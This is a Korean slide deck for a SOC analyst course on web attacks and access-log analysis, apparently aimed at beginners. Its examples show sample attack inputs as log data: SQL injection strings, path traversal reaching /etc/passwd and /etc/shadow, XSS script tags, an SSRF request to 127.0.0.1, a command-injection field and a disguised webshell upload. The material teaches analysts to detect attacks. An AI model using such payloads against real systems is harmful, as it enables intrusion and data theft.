26년 AI 보안운영 및 위협탐지 실무인력 양성 · (주)아울네스트

Module 4.
웹 공격 & 로그 분석

공격은 HTTP 요청에 흔적을 남긴다 · SOC는 그 흔적에서 사건 의도를 읽어낸다 · 12시간

대상

비전공 입문자 / SOC 초급 분석가

시간

총 12시간 (이론 5H + 탐지 3H + 실습 4H)

핵심 주제

Web Arch · HTTP · access.log · SQLi · XSS · LFI · CMDi · WebShell · Auth · SSRF

🛡️

(주)아울네스트

한국인터넷진흥원 발주 · 2026

4

보강 설명 공격은 HTTP 요청 에 흔적을 남긴다 · SOC는 그 흔적에서 사건 의도 를 읽어낸다 · 12시간. 이 모듈의 목표는 취약점 이름을 외우는 것이 아니라 요청·로그·상태 변화에서 사건의 의도를 설명하는 능력을 만드는 것이다.

HTTP 요청공격 패턴실무 분석

수강 후 가능해지는 일

요청 한 줄에서 공격 표면과 입력 위치를 빠르게 찾기
access.log·WAF·App 로그를 묶어 공격 흐름으로 설명하기
사실·근거·영향·조치를 짧은 보고 문장으로 정리하기

실무에서 자주 쓰는 질문

이 요청은 어디서 들어왔고 어떤 자산을 만졌는가
정상 동작과 다른 반복성·응답 크기·지연이 있는가
성공 신호가 보였는지, 추가 확인 소스는 무엇인가

학습 산출물

공격 유형별 핵심 키워드 치트시트
탐지 룰 초안과 오탐 감축 포인트
실습 로그에 대한 FPCA형 분석 답안

학습 목표와 수강 후 아웃풋

이 모듈은 이름 암기가 아니라, 로그를 근거로 사건을 설명하는 능력을 키우는 과정이다

PART 0 · 오프닝

🎯 수강 후 여러분은 다음을 할 수 있어야 합니다

HTTP 요청 해독

Request Line, Header, Query String, Body, Status Code를 읽고, 각 필드가 공격 분석에서 갖는 의미를 설명할 수 있다.

access.log Triage

Apache/Nginx access.log를 기준으로 정상 요청과 의심 요청을 구분하고, 공격 유형별 대표 패턴을 식별할 수 있다.

7대 웹 공격 패턴

SQLi, XSS, LFI, CMDi, File Upload/WebShell, Auth Attack, SSRF의 대표 패턴을 말로 설명하고 로그에서 식별할 수 있다.

분석문 작성

Fact + Pattern + Context + Action 4-box 구조로 분석 보고문을 작성하고, 다음 팀(IR/DevSec)에 전달할 수 있다.

핵심 메시지: 좋은 SOC 분석가는 payload를 외우는 사람이 아니라, 사건 흐름을 말로 재구성할 수 있는 사람이다. 로그 한 줄을 보고 "이 요청 뒤에 무슨 일이 생겼을까?"를 상상하는 습관을 기릅시다.

보강 설명 이 모듈은 이름 암기가 아니라, 로그를 근거로 사건을 설명하는 능력을 키우는 과정이다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

왜 웹 공격이 SOC의 일상 업무인가

인터넷에 노출된 웹 서비스와 API는 공격자가 가장 자주 만지는 표면이며, 흔적도 비교적 풍부하게 남는다

PART 0 · 오프닝

공격자 관점

브라우저 대신 스캐너와 자동화 도구로 대량 요청 → 취약점 탐색
로그인 페이지, API, 관리자 포털은 가장 먼저 노크하는 문
SQLi, XSS, LFI 등은 자동화 페이로드로 초 단위에 대량 시도 가능
웹 계층 침투 성공 시 → DB, 파일 서버, 내부망으로 lateral movement 시도

OWASP 기준, 웹 애플리케이션 취약점은 전체 침해 사고의 40% 이상을 차지합니다. SOC 알람의 상당 부분이 웹에서 옵니다.

SOC 관점

대부분의 조직에 외부 노출 웹 서비스, API, 포털이 반드시 존재
웹 로그는 access.log 형태로 비교적 풍부하게 남음 → 분석 가능
웹 계층은 WAF, LB, App, IAM, DB와 연결되어 사고 범위가 넓어짐
요청 한 줄을 계정·서버·데이터 영향까지 연결해 설명해야 함

좋은 웹 분석가는 요청 한 줄을 보고 "이 다음에 무슨 일이 생길 수 있는가?"를 설명할 수 있는 사람입니다.

Internet

→

Public Web 표면

→

WAF/Log 탐지

→

SOC 분석

→

계정/데이터 영향 평가

보강 설명 인터넷에 노출된 웹 서비스와 API는 공격자가 가장 자주 만지는 표면이며, 흔적도 비교적 풍부하게 남는다 API는 웹 공격의 새로운 주 표면이다. Path보다 객체 ID, 토큰, 응답 데이터 구조, 대량 호출 패턴을 읽는 감각이 중요하다.

REST APIGraphQLBOLA

핵심 포인트

BOLA/BOPLA처럼 객체 식별자와 속성 노출이 핵심 위험이 된다
GraphQL은 body 내부 질의와 depth/complexity를 같이 봐야 한다
API Gateway, App, Auth 로그를 함께 봐야 전체 맥락이 보인다

추가 확인

정상 모바일 앱/프론트 호출 패턴과 공격 스크립트 패턴을 구분
JWT·세션·API 키 재사용 여부와 출처 IP 분산을 확인
응답 바이트 급증이나 민감 필드 노출은 App 로그로 보강

미니 실습

순차 객체 조회를 BOLA로 판단하는 기준을 정리해 보기
GraphQL body에서 __schema와 대량 중첩을 찾는 쿼리 조건을 써 보기
API 공격에서 기존 access.log만으로 부족한 이유를 설명하기

모듈 구성과 12시간 로드맵

웹 아키텍처와 HTTP를 이해한 뒤, 로그 구조와 공격 유형, 탐지와 실습까지 한 흐름으로 묶어야 한다

PART 0 · 오프닝

 PART 1~3 · 기초 (3H)Part 1 웹 아키텍처와 요청 흐름 · 45분
Part 2 HTTP Deep Dive · 75분
Part 3 웹 로그 구조와 Triage · 75분
💡 계층, 요청 문법, 로그 필드 이해
 PART 4~7 · 공격 (5H)Part 4 SQL Injection · 80분
Part 5 XSS · 75분
Part 6 LFI / Traversal / CMDi · 85분
Part 7 Upload/WebShell/Auth/SSRF · 95분
💡 각 공격의 원리·로그 패턴·오탐 구분
 PART 8~10 · 탐지/실습 (4H)Part 8 WAF·탐지 룰·상관분석 · 55분
Part 9 데이터셋 실습 · 110분
Part 10 요약 / 부록 · 25분
💡 탐지 설계 + 실전 로그 분석 + 치트시트

Architecture

→

HTTP

→

Logs

→

Attacks

→

Detection

→

Practice

권장 시간 배분: 이론(Part 1~3) 3시간 → 공격 패턴(Part 4~7) 5시간 → 탐지·실습(Part 8~10) 4시간. 각 파트 시작 시 "지금 어디에 있나?"를 반복해 주면 수강생이 방향을 잃지 않습니다.

보강 설명 웹 아키텍처와 HTTP를 이해한 뒤, 로그 구조와 공격 유형, 탐지와 실습까지 한 흐름으로 묶어야 한다 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

Module 1~3와의 연결: SOC, Linux, Network가 웹에서 만난다

웹 공격은 요청 한 줄만의 문제가 아니라, 호스트와 네트워크 흔적까지 이어지는 사건 체인이다

PART 0 · 오프닝

Module 1 · SOC Triage

Triage 프레임 → 웹 공격 우선순위 판단에 그대로 적용
Fact → Pattern → Context → Action 흐름 = 이번 모듈의 분석문 작성 구조
알람 피로도(Alert Fatigue) 개념 → 오탐 구분이 왜 중요한지 연결

Module 2 · Linux 로그

WebShell 실행 후 process create, /tmp 파일 생성 확인
CMDi 성공 시 cron 등록, SSH authorized_keys 추가 흔적
curl/wget 다운로드 → auth.log 계정 변경과 연결

Module 3 · 네트워크

SSRF 성공 시 내부망 DNS 조회, egress HTTP 흔적
Data exfiltration → 비정상 outbound 대용량 flow 탐지
Callback/Beaconing → DNS·PCAP에서 C2 통신 패턴

💡 Module 4의 위치

Module 4는 이전 3개 모듈의 통합 실전 단계입니다. 웹 요청 한 줄이 계정·서버·네트워크 전체의 사건으로 이어지는 연결고리를 읽는 훈련을 합니다.
단순히 웹 취약점을 공부하는 것이 아니라, multi-layer evidence correlation의 출발점으로 웹 로그를 보는 시각을 키웁니다.

SOC
Triage

+

Linux
Log

+

Network
Analysis

=

Web Incident
Story

보강 설명 웹 공격은 요청 한 줄만의 문제가 아니라, 호스트와 네트워크 흔적까지 이어지는 사건 체인이다 슬라이드의 핵심은 “무엇이 사실이고, 무엇을 더 확인해야 하며, 어떤 조치로 이어지는가”를 한 번에 떠올리게 만드는 데 있다.

핵심 질문추가 확인실무 연결

핵심 포인트

관찰한 사실을 먼저 정리하고 공격 가설은 그다음에 세우기
상태코드·bytes·response_time·반복성 같은 정량 근거를 빼지 않기
서비스 맥락과 자산 중요도를 함께 써야 판단이 강해진다

추가 확인

같은 행위자의 전후 요청을 묶어 흐름으로 보기
비어 있는 로그 소스를 최소 하나 더 확보하기
정탐과 오탐 가능성을 함께 적어 후속 판단 비용 줄이기

미니 실습

이 슬라이드 내용을 한 줄 보고 문장으로 바꿔 보기
현업에서 바로 볼 필드 3개를 고르고 이유 설명하기
다음 단계 조치와 추가 질문을 각각 1개씩 적기

웹 공격 분석의 핵심 질문 7개

좋은 분석은 데이터를 많이 보는 것보다, 올바른 질문 순서로 읽는 데서 시작된다

PART 0 · 오프닝

Q1

WHO: 누가, 어떤 IP/UA에서 요청했는가? 알려진 스캐너/봇인가?

Q2

WHERE: 어떤 엔드포인트인가? 정적/동적/민감 기능인가?

Q3

WHAT: URL, 파라미터, Header, Body 중 공격 신호는 어디에 있는가?

Q4

HOW DIFFERENT: 정상 사용 흐름과 얼마나 다른가? 인코딩·난독화는?

Q5

STATUS: 상태코드, 응답 크기가 의미하는 것은? 200=성공만이 아니다

Q6

REPEAT: 같은 IP가 반복 시도하는가? 패턴이 있는가? 간격은?

Q7

WHAT NEXT: 후속 요청은 무엇인가? Shell 실행, 파일 생성, 외부 통신?

💡 코칭 포인트: 이 7개 질문은 모든 공격 유형 분석에 동일하게 적용됩니다. 하나의 로그 줄을 보면서 7개 질문을 빠르게 훑는 습관을 들이세요.

Fact → Pattern → Context → Action: 로그 사실(Fact) → 알려진 패턴 매핑(Pattern) → 상황 맥락 확인(Context) → 다음 행동 결정(Action). 이 4단계가 분석문 작성의 뼈대입니다.

보강 설명 좋은 분석은 데이터를 많이 보는 것보다, 올바른 질문 순서로 읽는 데서 시작된다 슬라이드의 핵심은 “무엇이 사실이고, 무엇을 더 확인해야 하며, 어떤 조치로 이어지는가”를 한 번에 떠올리게 만드는 데 있다.

핵심 질문추가 확인실무 연결

핵심 포인트

관찰한 사실을 먼저 정리하고 공격 가설은 그다음에 세우기
상태코드·bytes·response_time·반복성 같은 정량 근거를 빼지 않기
서비스 맥락과 자산 중요도를 함께 써야 판단이 강해진다

추가 확인

같은 행위자의 전후 요청을 묶어 흐름으로 보기
비어 있는 로그 소스를 최소 하나 더 확보하기
정탐과 오탐 가능성을 함께 적어 후속 판단 비용 줄이기

미니 실습

이 슬라이드 내용을 한 줄 보고 문장으로 바꿔 보기
현업에서 바로 볼 필드 3개를 고르고 이유 설명하기
다음 단계 조치와 추가 질문을 각각 1개씩 적기

01

웹 아키텍처와 요청 흐름

공격 흔적이 어느 계층에 남는지 알아야, 로그를 제대로 읽을 수 있다

45분 · Slides 7–16

보강 설명 공격 흔적이 어느 계층에 남는지 알아야, 로그를 제대로 읽을 수 있다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

웹은 서버 한 대가 아니라 계층 구조다

웹 공격을 잘 읽으려면 브라우저와 DB 사이의 계층과, 각 계층에 남는 로그를 알아야 한다

PART 1 · 웹 아키텍처

브라우저가 "클릭" 한 번 하면, 실제로는 이 경로를 거칩니다

🌐 Client (Browser) 사용자 브라우저 / 모바일 앱 / 자동화 도구(스캐너, curl, Burp Suite) 출발점

☁️ CDN / DDoS 방어 정적 캐시 제공, DDoS 완화, 글로벌 엣지 · Source IP가 CDN IP일 수 있음 옵션

🔒 WAF (Web Application Firewall) 패턴 기반 차단 / 허용 정책 · Rule ID, action(block/allow), matched payload 로그 핵심 탐지 레이어

⚖️ Load Balancer / Reverse Proxy 트래픽 분산, Reverse Proxy · 여기서도 X-Forwarded-For 헤더로 원본 IP 전달 IP 해석 주의

🖥️ Web Server (Nginx/Apache) 요청 수신 · 정적 파일 제공 · access.log 생성 · error.log · 이번 모듈의 핵심 소스 access.log

⚙️ Application Server 비즈니스 로직 처리 · DB 쿼리 · 세션 관리 · App 로그, Error 로그에 깊은 맥락 App Log

🗄️ Database (RDB/NoSQL) 실제 데이터 저장·조회 · DB 감사 로그에 쿼리 흔적 · SQLi 피해가 여기서 발생 DB Audit Log

보강 설명 웹 공격을 잘 읽으려면 브라우저와 DB 사이의 계층과, 각 계층에 남는 로그를 알아야 한다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

각 계층마다 로그가 다르게 남는다

같은 요청이어도 어느 계층의 로그를 보느냐에 따라 보이는 진실과 보이지 않는 진실이 달라진다

PART 1 · 웹 아키텍처

로그 소스	잘 보이는 것	약한 것 / 안 보이는 것	보완 대상
WAF Log	룰 매칭 여부, 차단 사유, Payload 조각, Rule ID	앱 내부 처리 결과, 우회 성공 여부, 세션 맥락	App Log + Access Log로 보완
Access Log	요청 전체 URI, 상태코드, 응답 크기, UA, IP	POST Body 내용, 내부 처리 결과, DB 쿼리	App Log + WAF Log로 보완
App / Error Log	예외 메시지, DB 오류, 파라미터 해석, 스택 트레이스	네트워크 출발지, 패킷, 외부 통신	Host/Network Log로 보완
Host Log (Linux)	프로세스 생성, 파일 수정, cron, auth, EDR 이벤트	HTTP 요청 원문, WAF 차단 여부	Web Log + WAF로 보완
Network Log	Egress 통신, DNS 조회, Flow, Beaconing, Data exfil	HTTP 요청 내용(암호화 시), App 로직	Proxy Log + TLS Inspection으로 보완

흔한 실수: "WAF에서 차단됐으니 끝이다" ← 틀림. WAF 우회가 성공했거나, 차단 전에 이미 유효한 정보가 노출됐을 수 있습니다. 항상 여러 계층을 교차 확인해야 합니다.

보강 설명 같은 요청이어도 어느 계층의 로그를 보느냐에 따라 보이는 진실과 보이지 않는 진실이 달라진다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

LB / Reverse Proxy 환경에서 Source IP 해석

로그에 찍힌 IP가 항상 공격자의 실제 IP는 아닐 수 있다

PART 1 · 웹 아키텍처

⚠️ 어떤 상황인가?

일반적인 프록시 체인

공격자 실제 IP: 1.2.3.4
CDN Edge IP: 104.16.x.x
LB/WAF IP: 10.0.0.1 (내부)
Web Server의 access.log에 찍히는 IP: 10.0.0.1 ← 오해!

스푸핑 리스크

공격자가 X-Forwarded-For: 127.0.0.1을 직접 조작 가능
신뢰 프록시 목록이 없으면 스푸핑된 IP를 공격자 IP로 잘못 기록
잘못된 IOC → 차단 정책이 엉뚱한 IP를 막음

✅ 어떻게 해야 하는가?

# access.log 예시 (LB 환경) 10.0.0.1 - - [2026-03-15 09:12:44] "GET /login?id=1' HTTP/1.1" 200 1842 X-Forwarded-For: 185.220.101.47 # ↑ 실제 공격자 IP는 여기!

올바른 해석 방법

로그 설정에서 X-Forwarded-For, X-Real-IP 필드를 별도로 기록
신뢰할 수 있는 프록시 IP 목록(trusted proxy)을 미리 정의
가장 왼쪽 XFF IP를 원본으로 읽되, 신뢰 체인을 검증
SIEM에서 XFF 필드를 별도 추출해 IOC 매핑에 사용

보강 설명 로그에 찍힌 IP가 항상 공격자의 실제 IP는 아닐 수 있다 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

정상 사용자 vs 자동화 공격 트래픽

정상 브라우저 요청과 스캐너/자동화 공격은 속도·패턴·헤더에서 차이가 드러난다

PART 1 · 웹 아키텍처

정상 사용자 (브라우저)

요청 간격: 수 초 ~ 수십 초 (사람이 클릭하는 속도)
UA: Mozilla/5.0 Chrome/Safari 등 실제 브라우저 문자열
탐색 경로: 홈 → 카테고리 → 상품 → 장바구니 → 결제 (논리적)
Referer: 이전 페이지 URL이 자연스럽게 연결
404: 드물게 발생, 패턴 없음
파라미터: 정상 영문/한글, 짧은 값

자동화 공격 / 스캐너

요청 간격: 밀리초 단위 또는 정확히 1초 (타이머 기반)
UA: python-requests, sqlmap, nikto, curl 등 도구 문자열
탐색 경로: /admin, /wp-login, /phpmyadmin, /.env 순서로 맹목적 시도
Referer: 없거나 항상 동일한 값
404: 수십 ~ 수백 개 연속 발생, 엔드포인트 추측 패턴
파라미터: SQL 키워드, 특수문자, 긴 문자열 포함

위장 공격 주의: 고급 공격자는 실제 브라우저 UA를 사용하고, 속도도 인간처럼 조절합니다. UA 단독 판단이 아니라 요청 패턴 + 파라미터 내용 + 엔드포인트 조합으로 판단해야 합니다.

# 자동화 공격 패턴 예시 (1초 이내 다량 404) 185.220.101.47 - - [09:12:01] "GET /wp-login.php" 404 185.220.101.47 - - [09:12:01] "GET /admin/index.php" 404 185.220.101.47 - - [09:12:02] "GET /.env" 404 185.220.101.47 - - [09:12:02] "GET /config.php.bak" 404

보강 설명 정상 브라우저 요청과 스캐너/자동화 공격은 속도·패턴·헤더에서 차이가 드러난다 슬라이드의 핵심은 “무엇이 사실이고, 무엇을 더 확인해야 하며, 어떤 조치로 이어지는가”를 한 번에 떠올리게 만드는 데 있다.

핵심 질문추가 확인실무 연결

핵심 포인트

관찰한 사실을 먼저 정리하고 공격 가설은 그다음에 세우기
상태코드·bytes·response_time·반복성 같은 정량 근거를 빼지 않기
서비스 맥락과 자산 중요도를 함께 써야 판단이 강해진다

추가 확인

같은 행위자의 전후 요청을 묶어 흐름으로 보기
비어 있는 로그 소스를 최소 하나 더 확보하기
정탐과 오탐 가능성을 함께 적어 후속 판단 비용 줄이기

미니 실습

이 슬라이드 내용을 한 줄 보고 문장으로 바꿔 보기
현업에서 바로 볼 필드 3개를 고르고 이유 설명하기
다음 단계 조치와 추가 질문을 각각 1개씩 적기

공격 입력은 Path, Query, Body, Header, Cookie, Upload에 숨어든다

분석가는 URL만 보지 말고 애플리케이션이 해석하는 모든 입력 채널을 떠올려야 한다

PART 1 · 웹 아키텍처

 Path예시:

/products/../../etc/passwd
/admin/../secret/config
디렉터리 탐색(Path Traversal), LFI에 가장 자주 사용
 Query String예시:

?id=1' OR '1'='1
?url=http://127.0.0.1
?file=../../../../etc/shadow
SQLi, SSRF, LFI에 가장 가시적으로 나타남
 POST Body예시:

username=admin'--
comment=<script>…
{"cmd":"whoami"}
access.log에 Body가 안 찍힐 수 있어 App Log 필요

 Header 악용
X-Forwarded-For: 127.0.0.1
Referer: javascript:alert(1)
User-Agent: <script>…
IP 우회, Reflected XSS, Stored XSS
 Cookie
Cookie: session='; DROP TABLE--
Cookie: role=admin
세션 조작, 권한 상승, 2nd-order SQLi
 File Upload
shell.php (Content-Type: image/jpeg)
file.php%00.jpg (Null Byte)
WebShell 업로드, 파일 확장자 우회

보강 설명 분석가는 URL만 보지 말고 애플리케이션이 해석하는 모든 입력 채널을 떠올려야 한다 파일 업로드는 저장 자체보다 업로드된 파일이 해석·실행되는 순간이 더 위험하다. 업로드와 접근, 프로세스 생성, 외부 통신을 한 체인으로 봐야 한다.

UploadWebShell실행 체인

대표 신호

multipart/form-data 업로드 뒤 같은 경로의 .php/.jsp/.aspx 직접 접근
image/jpeg 같은 MIME 위장과 이중 확장자, 우회된 저장 경로
?cmd=, ?exec=, POST 파라미터로 명령 실행을 시도하는 패턴

추가 확인

업로드 디렉터리의 새 파일 해시·변경 시간·권한을 점검
웹서버 자식 프로세스의 쉘 실행과 외부 egress를 상관분석
백신/EDR와 웹 로그를 붙여 최초 업로드와 실제 실행 시점을 분리

실습 예시

업로드→실행→후속 명령까지의 최소 사건 체인을 4단계로 써 보기
정상 첨부 업로드와 악성 WebShell 업로드의 차이를 필드 중심으로 정리
탐지 룰에서 파일명, MIME, 저장 위치, 후속 접근을 함께 쓰는 이유 설명

상태코드는 공격 흐름을 보여주는 창이다

실패한 요청도 공격자의 탐색과 학습 과정을 보여 주는 소중한 증거다 — 200만 보지 말 것

PART 1 · 웹 아키텍처

✅ 2xx 성공

200 OK: 정상 또는 공격 성공 가능성 모두 포함. 200 + 긴 응답 = 정보 노출 의심.

반복 200: Brute Force 성공, SQLi 데이터 추출, 정보 수집 성공.

🔀 3xx 리다이렉트

301/302: 로그인 성공 후 리다이렉트, SSO 흐름. 401 → 302 시퀀스는 인증 우회 시도 신호.

🚫 4xx 클라이언트 오류

401: 인증 실패 / Brute Force 탐색

403: 차단됨 — 무엇을 노렸는지 단서

404: 존재 탐색 / 엔드포인트 추측

429: 방어 발동 — Rate Limit 도달

💥 5xx 서버 오류

500: 입력이 내부까지 도달해 예외 발생 — SQLi/CMDi/XXE 시도에서 자주 등장. 가장 위험한 신호 중 하나.

502/503: 서비스 과부하, DoS 가능성.

왜 500이 더 위험한가? 500 응답은 공격 입력이 파싱 단계를 통과해 내부 로직까지 도달했음을 뜻합니다. WAF가 차단하지 않았거나, App 레벨에서 처리 실패한 상태입니다. 이후 다른 페이로드로 우회 성공 가능성이 높습니다.

# 공격 탐색 시퀀스 예시: 404→403→500→200 = 점진적 성공 10.0.0.1 09:01:00 GET /admin 404 (존재 탐색) 10.0.0.1 09:01:05 GET /admin/index.php 403 (접근 차단 확인) 10.0.0.1 09:01:10 POST /admin/login.php 500 (내부 오류 유발 = 취약점!) 10.0.0.1 09:01:15 POST /admin/login.php 200 (공격 성공!)

보강 설명 실패한 요청도 공격자의 탐색과 학습 과정을 보여 주는 소중한 증거다 — 200만 보지 말 것. 슬라이드의 핵심은 “무엇이 사실이고, 무엇을 더 확인해야 하며, 어떤 조치로 이어지는가”를 한 번에 떠올리게 만드는 데 있다.

핵심 질문추가 확인실무 연결

핵심 포인트

관찰한 사실을 먼저 정리하고 공격 가설은 그다음에 세우기
상태코드·bytes·response_time·반복성 같은 정량 근거를 빼지 않기
서비스 맥락과 자산 중요도를 함께 써야 판단이 강해진다

추가 확인

같은 행위자의 전후 요청을 묶어 흐름으로 보기
비어 있는 로그 소스를 최소 하나 더 확보하기
정탐과 오탐 가능성을 함께 적어 후속 판단 비용 줄이기

미니 실습

이 슬라이드 내용을 한 줄 보고 문장으로 바꿔 보기
현업에서 바로 볼 필드 3개를 고르고 이유 설명하기
다음 단계 조치와 추가 질문을 각각 1개씩 적기

동적 vs 정적 엔드포인트: 보안 리스크 수준이 다르다

URL만 보고도 공격 표면 여부를 빠르게 판단하는 감각이 필요하다

PART 1 · 웹 아키텍처

정적 리소스 (저위험)

GET /static/logo.png GET /css/style.css GET /js/jquery.min.js GET /fonts/opensans.woff2

파일 그대로 반환 · 파라미터 처리 없음 · DB 쿼리 없음. 404 폭격 대상이 되기도 하지만 자체 취약성은 낮습니다.

동적 / 민감 엔드포인트 (고위험)

GET /api/user?id=1 POST /login GET /download?file=report.pdf POST /upload GET /admin/users POST /api/internal/exec

파라미터 처리 · DB 조회 · 파일 I/O · 인증 체크. SQLi, XSS, LFI, CMDi, Upload 공격의 주요 대상.

엔드포인트 패턴	의심 가능한 공격	중점 확인 항목
`/api/**?id=숫자`	SQLi, IDOR	숫자 이외 문자·SQL 키워드 여부
`/login, /signin, /auth`	Brute Force, SQLi Auth Bypass	반복 실패 횟수, 401/302 시퀀스
`/upload, /file, /download`	WebShell Upload, LFI, Path Traversal	확장자, MIME type, 파일명 특수문자
`/search, /comment, /post`	Stored/Reflected XSS	HTML 태그, 이벤트 핸들러, script 키워드
`/admin, /management, /console`	인가 없는 접근 시도	비정상 계정, 403→200 전환, 미인증 접근

보강 설명 URL만 보고도 공격 표면 여부를 빠르게 판단하는 감각이 필요하다 웹 분석은 브라우저·프록시·웹서버·앱·DB 계층을 함께 그려야 정확해진다. 같은 요청도 어느 계층 로그를 보느냐에 따라 보이는 사실이 다르다.

계층 구조로그 위치입력 채널

핵심 관점

요청이 지나가는 계층마다 남는 필드와 의미를 분리해서 보기
Source IP, X-Forwarded-For, Host, URI를 함께 읽어 실제 행위자와 대상 자산을 구분하기
동적 엔드포인트와 정적 리소스의 위험도 차이를 먼저 판단하기

추가 확인

LB/WAF/App 로그가 서로 같은 요청을 어떻게 다르게 기록하는지 비교
관리자 표면·업로드 경로·API 경로가 어디인지 미리 자산화
정상 브라우저 패턴과 자동화 도구 패턴을 헤더·속도·반복성으로 구분

미니 실습

한 URL을 보고 정적/동적/관리자/API 여부를 말해 보기
같은 요청이 프록시와 앱 로그에 어떻게 다르게 찍히는지 표로 정리
XFF 체인을 보고 실제 클라이언트 IP 후보를 고르기

PART 1 핵심 정리

웹 로그 분석은 웹 구조 이해 없이는 깊어질 수 없다

PART 1 · 핵심 정리

① 계층 구조

Client → CDN → WAF → LB → Web → App → DB 순으로 연결. 로그 소스마다 보이는 정보가 다름. 단일 소스로 결론 내리지 말 것.

② Source IP

access.log의 IP가 실제 공격자 IP가 아닐 수 있음. X-Forwarded-For 필드 확인, 신뢰 프록시 목록 참조. 스푸핑 가능성 인지.

③ 입력 표면

URL Path, Query String, POST Body, Header, Cookie, 파일 업로드까지 모든 채널이 공격 표면. URL만 보면 절반을 놓침.

④ 상태코드 시퀀스

200 = 성공이 아닐 수도. 404→500→200 흐름이 더 위험한 신호. 상태코드는 단일 값이 아닌 시퀀스와 변화량으로 읽기.

PART 1 핵심 메시지

웹 아키텍처 이해 → 각 계층에서 보이는 것과 보이지 않는 것을 알고 → 어떤 로그를 더 봐야 하는가를 판단하는 능력. 이것이 웹 분석의 기초입니다.

